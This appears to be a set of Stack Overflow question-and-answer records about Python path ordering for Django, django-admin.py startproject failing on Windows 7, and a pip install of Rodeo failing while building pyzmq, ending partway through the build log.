Here is my `.bash_profile` ``` PYTHONPATH=".:/home/miki725/django/django:$PYTHONPATH" export PYTHONPATH ``` So then I open python however the directory I add in `.bash_profile` is not the first one: ``` Python 2.4.3 (#1, Sep 21 2011, 20:06:00) [GCC 4.1.2 20080704 (Red Hat 4.1.2-51)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> for i in sys.path: ... print i ... /usr/lib/python2.4/site-packages/setuptools-0.6c9-py2.4.egg /usr/lib/python2.4/site-packages/flup-1.0.2-py2.4.egg /usr/lib/python2.4/site-packages/MySQL_python-1.2.3c1-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_form_utils-0.1.7-py2.4.egg /usr/lib/python2.4/site-packages/mechanize-0.2.1-py2.4.egg /usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg /usr/lib/python2.4/site-packages/mercurial-1.6-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/lxml-2.2.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_registration-0.7-py2.4.egg /usr/lib/python2.4/site-packages/sorl_thumbnail-3.2.5-py2.4.egg /usr/lib/python2.4/site-packages/South-0.7.2-py2.4.egg /usr/lib/python2.4/site-packages/django_keyedcache-1.4_1-py2.4.egg /usr/lib/python2.4/site-packages/django_livesettings-1.4_3-py2.4.egg /usr/lib/python2.4/site-packages/django_app_plugins-0.1.1-py2.4.egg /usr/lib/python2.4/site-packages/django_signals_ahoy-0.1_2-py2.4.egg /usr/lib/python2.4/site-packages/pycrypto-2.3-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_threaded_multihost-1.4_0-py2.4.egg /usr/lib/python2.4/site-packages/PIL-1.1.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyOpenSSL-0.11-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/ZSI-2.0_rc3-py2.4.egg /usr/lib/python2.4/site-packages/PyXML-0.8.4-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyquery-0.6.1-py2.4.egg /usr/lib/python2.4/site-packages/pip-1.0.1-py2.4.egg /usr/lib/python2.4/site-packages/virtualenv-1.6.1-py2.4.egg /usr/lib/python2.4/site-packages/simplejson-2.1.6-py2.4-linux-i686.egg /home/miki725 /home/miki725/django/django /usr/lib/python24.zip /usr/lib/python2.4 /usr/lib/python2.4/plat-linux2 /usr/lib/python2.4/lib-tk /usr/lib/python2.4/lib-dynload /usr/lib/python2.4/site-packages /usr/lib/python2.4/site-packages/Numeric /usr/lib/python2.4/site-packages/PIL /usr/lib/python2.4/site-packages/gtk-2.0 >>> >>> >>> >>> >>> import django >>> django.__file__ '/usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg/django/__init__.pyc' >>> ``` How can I add to a python path in `.bash_profile` so it would be in the beginning. This is for shared hosting. I need to be able to import my django install instead of using system default. Thank you
2011/12/01
[ "https://Stackoverflow.com/questions/8337686", "https://Stackoverflow.com", "https://Stackoverflow.com/users/485844/" ]
Your best bet is to modify `sys.path` at runtime. In a shared hosting enviroment it's common to do this in your .wsgi file. You could do something like this: ``` import sys sys.path.insert(0, '/home/miki725/django/django') ``` If you add `export PYTHONSTARTUP=/home/miki725/.pythonrc` to your `.bash_profile`, you can add that your `.pythonrc` file, and it'll be executed before an interactive prompt is shown as well.
As an alternative approach, you could modify `sys.path` directly from the interpreter: ``` sys.path.insert(0,"/home/miki725/django/django") ```
8,337,686
Here is my `.bash_profile` ``` PYTHONPATH=".:/home/miki725/django/django:$PYTHONPATH" export PYTHONPATH ``` So then I open python however the directory I add in `.bash_profile` is not the first one: ``` Python 2.4.3 (#1, Sep 21 2011, 20:06:00) [GCC 4.1.2 20080704 (Red Hat 4.1.2-51)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> for i in sys.path: ... print i ... /usr/lib/python2.4/site-packages/setuptools-0.6c9-py2.4.egg /usr/lib/python2.4/site-packages/flup-1.0.2-py2.4.egg /usr/lib/python2.4/site-packages/MySQL_python-1.2.3c1-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_form_utils-0.1.7-py2.4.egg /usr/lib/python2.4/site-packages/mechanize-0.2.1-py2.4.egg /usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg /usr/lib/python2.4/site-packages/mercurial-1.6-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/lxml-2.2.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_registration-0.7-py2.4.egg /usr/lib/python2.4/site-packages/sorl_thumbnail-3.2.5-py2.4.egg /usr/lib/python2.4/site-packages/South-0.7.2-py2.4.egg /usr/lib/python2.4/site-packages/django_keyedcache-1.4_1-py2.4.egg /usr/lib/python2.4/site-packages/django_livesettings-1.4_3-py2.4.egg /usr/lib/python2.4/site-packages/django_app_plugins-0.1.1-py2.4.egg /usr/lib/python2.4/site-packages/django_signals_ahoy-0.1_2-py2.4.egg /usr/lib/python2.4/site-packages/pycrypto-2.3-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/django_threaded_multihost-1.4_0-py2.4.egg /usr/lib/python2.4/site-packages/PIL-1.1.7-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyOpenSSL-0.11-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/ZSI-2.0_rc3-py2.4.egg /usr/lib/python2.4/site-packages/PyXML-0.8.4-py2.4-linux-i686.egg /usr/lib/python2.4/site-packages/pyquery-0.6.1-py2.4.egg /usr/lib/python2.4/site-packages/pip-1.0.1-py2.4.egg /usr/lib/python2.4/site-packages/virtualenv-1.6.1-py2.4.egg /usr/lib/python2.4/site-packages/simplejson-2.1.6-py2.4-linux-i686.egg /home/miki725 /home/miki725/django/django /usr/lib/python24.zip /usr/lib/python2.4 /usr/lib/python2.4/plat-linux2 /usr/lib/python2.4/lib-tk /usr/lib/python2.4/lib-dynload /usr/lib/python2.4/site-packages /usr/lib/python2.4/site-packages/Numeric /usr/lib/python2.4/site-packages/PIL /usr/lib/python2.4/site-packages/gtk-2.0 >>> >>> >>> >>> >>> import django >>> django.__file__ '/usr/lib/python2.4/site-packages/Django-1.2.1-py2.4.egg/django/__init__.pyc' >>> ``` How can I add to a python path in `.bash_profile` so it would be in the beginning. This is for shared hosting. I need to be able to import my django install instead of using system default. Thank you
2011/12/01
[ "https://Stackoverflow.com/questions/8337686", "https://Stackoverflow.com", "https://Stackoverflow.com/users/485844/" ]
Your best bet is to modify `sys.path` at runtime. In a shared hosting enviroment it's common to do this in your .wsgi file. You could do something like this: ``` import sys sys.path.insert(0, '/home/miki725/django/django') ``` If you add `export PYTHONSTARTUP=/home/miki725/.pythonrc` to your `.bash_profile`, you can add that your `.pythonrc` file, and it'll be executed before an interactive prompt is shown as well.
As indicated by others, you modify the `sys.path` directly in Python like this: ``` sys.path.insert(0,"/home/miki725/django/django") ``` But I think that [virtualenv](http://pypi.python.org/pypi/virtualenv) is the solution you are looking for. This tool allows you to create isolated Python environments.
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Try to run `python27 django-admin.py startproject mysite` from the command line,maybe a different (older) python.exe executes the `django-admin.py` file. If there's a program associated to the `.py` files, things mixes up, and your `path` environment variable doesn't matter. I suggest you to use [virtualenv](http://pypi.python.org/pypi/virtualenv). When you use it, you should put the python.exe before every `.py` file you want to run, because the install of python will associate .py files to the installed python.exe, and will use that, whatever is in your path. :(
Great answers. But unfortunately it did not work for me. This is how I solved it 1. Opened `django_admin.py` as @wynston said. But the path at first line was already showing `#!C:\` correctly. So did not had to change it 2. I had to put `"..."` around `django-admin.py` address. Navigated to the project directory in `cmd.exe` and ran this python "C:\Users\ ......\Scripts\django-admin.py" startproject projectname It worked only with the quotation marks. I am using Anaconda Python 2.7 64 bit, on Windows 7, 64 bit. Hope it helps
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Change the first line of django-admin.py `#!/usr/bin/env python` to for example `#!D:\Program Files\Python\python.exe` (Where you install your python.exe,that's my directory), it works.
Great answers. But unfortunately it did not work for me. This is how I solved it 1. Opened `django_admin.py` as @wynston said. But the path at first line was already showing `#!C:\` correctly. So did not had to change it 2. I had to put `"..."` around `django-admin.py` address. Navigated to the project directory in `cmd.exe` and ran this python "C:\Users\ ......\Scripts\django-admin.py" startproject projectname It worked only with the quotation marks. I am using Anaconda Python 2.7 64 bit, on Windows 7, 64 bit. Hope it helps
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Change the first line of django-admin.py `#!/usr/bin/env python` to for example `#!D:\Program Files\Python\python.exe` (Where you install your python.exe,that's my directory), it works.
The solution is simple in Windows: 1-Go to C: \ Python34 \ Scripts 2-Right click on django-admin.py 3-Select open with 4-Select default program 5-Select Laucher Python for Windows (Console) 6- Run the command in CMD Windows `python django-admin.py startproject mysite`
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
I ran into the same problem. Never having worked with Django before but having worked with Python 2.7 a fair bit, all on a windows 7 platform. I downloaded the latest version of Django and unpacked it on my desktop. After mucking around a bit managed to get it to install itself. I found could not just follow the tutorial thats provided in the docs googled the problem and found this thread, now I was able to get it to work by doing the following things, I work with a dos command window open. I navigate to the root of where I want the project file to be set up. I then ensure that the django\_admin file has been editted as per wynston's instructions and then typed the following. ``` python c:\location of django_admin.py startproject projectname ``` and it executed beautifully. \*Thanks to wynston for the edit to the django\_admin.py file.
The solution is simple in Windows: 1-Go to C: \ Python34 \ Scripts 2-Right click on django-admin.py 3-Select open with 4-Select default program 5-Select Laucher Python for Windows (Console) 6- Run the command in CMD Windows `python django-admin.py startproject mysite`
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
I ran into the same problem. Never having worked with Django before but having worked with Python 2.7 a fair bit, all on a windows 7 platform. I downloaded the latest version of Django and unpacked it on my desktop. After mucking around a bit managed to get it to install itself. I found could not just follow the tutorial thats provided in the docs googled the problem and found this thread, now I was able to get it to work by doing the following things, I work with a dos command window open. I navigate to the root of where I want the project file to be set up. I then ensure that the django\_admin file has been editted as per wynston's instructions and then typed the following. ``` python c:\location of django_admin.py startproject projectname ``` and it executed beautifully. \*Thanks to wynston for the edit to the django\_admin.py file.
Use `python django-admin.py startproject mysite`. That worked for me some time ago when I had the same issue.
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Change the first line of django-admin.py `#!/usr/bin/env python` to for example `#!D:\Program Files\Python\python.exe` (Where you install your python.exe,that's my directory), it works.
Use `python django-admin.py startproject mysite`. That worked for me some time ago when I had the same issue.
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
I ran into the same problem. Never having worked with Django before but having worked with Python 2.7 a fair bit, all on a windows 7 platform. I downloaded the latest version of Django and unpacked it on my desktop. After mucking around a bit managed to get it to install itself. I found could not just follow the tutorial thats provided in the docs googled the problem and found this thread, now I was able to get it to work by doing the following things, I work with a dos command window open. I navigate to the root of where I want the project file to be set up. I then ensure that the django\_admin file has been editted as per wynston's instructions and then typed the following. ``` python c:\location of django_admin.py startproject projectname ``` and it executed beautifully. \*Thanks to wynston for the edit to the django\_admin.py file.
Great answers. But unfortunately it did not work for me. This is how I solved it 1. Opened `django_admin.py` as @wynston said. But the path at first line was already showing `#!C:\` correctly. So did not had to change it 2. I had to put `"..."` around `django-admin.py` address. Navigated to the project directory in `cmd.exe` and ran this python "C:\Users\ ......\Scripts\django-admin.py" startproject projectname It worked only with the quotation marks. I am using Anaconda Python 2.7 64 bit, on Windows 7, 64 bit. Hope it helps
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
I ran into the same problem. Never having worked with Django before but having worked with Python 2.7 a fair bit, all on a windows 7 platform. I downloaded the latest version of Django and unpacked it on my desktop. After mucking around a bit managed to get it to install itself. I found could not just follow the tutorial thats provided in the docs googled the problem and found this thread, now I was able to get it to work by doing the following things, I work with a dos command window open. I navigate to the root of where I want the project file to be set up. I then ensure that the django\_admin file has been editted as per wynston's instructions and then typed the following. ``` python c:\location of django_admin.py startproject projectname ``` and it executed beautifully. \*Thanks to wynston for the edit to the django\_admin.py file.
Change the first line of django-admin.py `#!/usr/bin/env python` to for example `#!D:\Program Files\Python\python.exe` (Where you install your python.exe,that's my directory), it works.
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Try to run `python27 django-admin.py startproject mysite` from the command line,maybe a different (older) python.exe executes the `django-admin.py` file. If there's a program associated to the `.py` files, things mixes up, and your `path` environment variable doesn't matter. I suggest you to use [virtualenv](http://pypi.python.org/pypi/virtualenv). When you use it, you should put the python.exe before every `.py` file you want to run, because the install of python will associate .py files to the installed python.exe, and will use that, whatever is in your path. :(
The solution is simple in Windows: 1-Go to C: \ Python34 \ Scripts 2-Right click on django-admin.py 3-Select open with 4-Select default program 5-Select Laucher Python for Windows (Console) 6- Run the command in CMD Windows `python django-admin.py startproject mysite`
9,252,970
It worked when I did the poll tutorial in linux, but I'm doing it again in Windows 7, and it does nothing. I already set the environmental variables, and set the file association to my `python27.exe` When I run `django-admin.py` startproject mysite from the DOS command prompt, it executes, but it's showing me all the information (Like the options, etc) as though I typed the help option instead. It's not actually creating project files in my directory. I appreciate the help. also, I tried the solution found here (it appears to be the exact same problem). It did not work [django-admin.py is not working properly](https://stackoverflow.com/questions/3123688/django-admin-py-is-not-working-properly)
2012/02/12
[ "https://Stackoverflow.com/questions/9252970", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1159856/" ]
Try to run `python27 django-admin.py startproject mysite` from the command line,maybe a different (older) python.exe executes the `django-admin.py` file. If there's a program associated to the `.py` files, things mixes up, and your `path` environment variable doesn't matter. I suggest you to use [virtualenv](http://pypi.python.org/pypi/virtualenv). When you use it, you should put the python.exe before every `.py` file you want to run, because the install of python will associate .py files to the installed python.exe, and will use that, whatever is in your path. :(
Use `python django-admin.py startproject mysite`. That worked for me some time ago when I had the same issue.
30,029,625
I can't install [Rodeo](https://github.com/yhat/rodeo) with pip, on Ubuntu 14.04.2 LTS 64 bit (installed on a Virtual Box) For information I'm a Python and Ubuntu beginner and I installed pip by following this [tutorial](http://www.liquidweb.com/kb/how-to-install-pip-on-ubuntu-14-04-lts/) `pip -V` `pip 6.1.1 from /usr/local/lib/python2.7/dist-packages (python 2.7)` **Problem:** When I execute `pip install -U rodeo` I have an error message. Here is the log: ``` Did not find libzmq via pkg-config: Package libzmq was not found in the pkg-config search path. Perhaps you should add the directory containing `libzmq.pc' to the PKG_CONFIG_PATH environment variable No package 'libzmq' found x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -c build/temp.linux-x86_64-2.7/scratch/check_sys_un.c -o build/temp.linux-x86_64-2.7/scratch/check_sys_un.o x86_64-linux-gnu-gcc -pthread build/temp.linux-x86_64-2.7/scratch/check_sys_un.o -o build/temp.linux-x86_64-2.7/scratch/check_sys_un Configure: Autodetecting ZMQ settings... Custom ZMQ dir: ************************************************ creating build/temp.linux-x86_64-2.7/scratch/tmp cc -c /tmp/timer_createSSuyTd.c -o build/temp.linux-x86_64-2.7/scratch/tmp/timer_createSSuyTd.o cc build/temp.linux-x86_64-2.7/scratch/tmp/timer_createSSuyTd.o -o build/temp.linux-x86_64-2.7/scratch/a.out build/temp.linux-x86_64-2.7/scratch/tmp/timer_createSSuyTd.o: In function `main': timer_createSSuyTd.c:(.text+0x15): undefined reference to `timer_create' collect2: error: ld returned 1 exit status x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -Izmq/utils -Izmq/backend/cython -Izmq/devices -c build/temp.linux-x86_64-2.7/scratch/vers.c -o build/temp.linux-x86_64-2.7/scratch/vers.o build/temp.linux-x86_64-2.7/scratch/vers.c:4:17: fatal error: zmq.h: No such file or directory #include "zmq.h" ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 Failed with default libzmq, trying again with /usr/local Configure: Autodetecting ZMQ settings... Custom ZMQ dir: /usr/local ************************************************ cc -c /tmp/timer_createcU4dvG.c -o build/temp.linux-x86_64-2.7/scratch/tmp/timer_createcU4dvG.o Assembler messages: Fatal error: can't create build/temp.linux-x86_64-2.7/scratch/tmp/timer_createcU4dvG.o: No such file or directory x86_64-linux-gnu-gcc -pthread -fno-strict-aliasing -DNDEBUG -g -fwrapv -O2 -Wall -Wstrict-prototypes -fPIC -I/usr/local/include -Izmq/utils -Izmq/backend/cython -Izmq/devices -c build/temp.linux-x86_64-2.7/scratch/vers.c -o build/temp.linux-x86_64-2.7/scratch/vers.o build/temp.linux-x86_64-2.7/scratch/vers.c:4:17: fatal error: zmq.h: No such file or directory #include "zmq.h" ^ compilation terminated. error: command 'x86_64-linux-gnu-gcc' failed with exit status 1 Warning: Failed to build or run libzmq detection test. If you expected pyzmq to link against an installed libzmq, please check to make sure: * You have a C compiler installed * A development version of Python is installed (including headers) * A development version of ZMQ >= 2.1.4 is installed (including headers) * If ZMQ is not in a default location, supply the argument --zmq=<path> * If you did recently install ZMQ to a default location, try rebuilding the ld cache with `sudo ldconfig` or specify zmq's location with `--zmq=/usr/local` You can skip all this detection/waiting nonsense if you know you want pyzmq to bundle libzmq as an extension by passing: `--zmq=bundled` I will now try to build libzmq as a Python extension unless you interrupt me (^C) in the next 10 seconds... ************************************************ 1... Using bundled libzmq already have bundled/zeromq attempting ./configure to generate platform.hpp Warning: failed to configure libzmq: /bin/sh: 1: ./configure: not found staging platform.hpp from: buildutils/include_linux checking for timer_create ************************************************ ************************************************ creating build/temp.linux-x86_64-2.7/tmp cc -c /tmp/timer_createmVaK_l.c -o build/temp.linux-x86_64-2.7/tmp/timer_createmVaK_l.o cc build/temp.linux-x86_64-2.7/tmp/timer_createmVaK_l.o -o build/temp.linux-x86_64-2.7/a.out build/temp.linux-x86_64-2.7/tmp/timer_createmVaK_l.o: In function `main': timer_createmVaK_l.c:(.text+0x15): undefined reference to `timer_create' collect2: error: ld returned 1 exit status no timer_create, linking librt Using bundled libsodium already have bundled/libsodium staging buildutils/include_sodium/version.h to bundled/libsodium/src/libsodium/include/sodium/version.h already have crypto_scalarmult_curve25519.h already have crypto_stream_salsa20.h ************************************************ ************************************************ building 'zmq.libsodium' extension creating build/temp.linux-x86_64-2.7/buildutils creating build/temp.linux-x86_64-2.7/bundled creating build/temp.linux-x86_64-2.7/bundled/libsodium creating build/temp.linux-x86_64-2.7/bundled/libsodium/src creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/32 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/32/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/16 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/16/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/64 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_verify/64/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_sign creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_sign/ed25519 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_sign/ed25519/ref10 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_sign/edwards25519sha512batch creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_sign/edwards25519sha512batch/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/hsalsa20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/hsalsa20/ref2 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa2012 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa2012/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa208 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa208/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_core/salsa20/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/sodium creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_aead creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_aead/chacha20poly1305 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_aead/chacha20poly1305/sodium creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_scalarmult creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_scalarmult/curve25519 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_scalarmult/curve25519/ref10 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha512 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha512/cp creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha512256 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha512256/cp creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha256 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_auth/hmacsha256/cp creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/randombytes creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/randombytes/sysrandom creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/randombytes/salsa20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_pwhash creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_pwhash/scryptsalsa208sha256 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_pwhash/scryptsalsa208sha256/sse creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_pwhash/scryptsalsa208sha256/nosse creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_generichash creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_generichash/blake2 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_generichash/blake2/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_hash creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_hash/sha512 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_hash/sha512/cp creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_hash/sha256 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_hash/sha256/cp creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_onetimeauth creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_onetimeauth/poly1305 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_onetimeauth/poly1305/donna creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_box creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_box/curve25519xsalsa20poly1305 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_box/curve25519xsalsa20poly1305/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/xsalsa20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/xsalsa20/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa2012 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa2012/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/aes128ctr creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/aes128ctr/portable creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/chacha20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/chacha20/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa208 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa208/ref creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa20 creating build/temp.linux-x86_64-2.7/bundled/libsodium/src/libsodium/crypto_stream/salsa20/ref creating 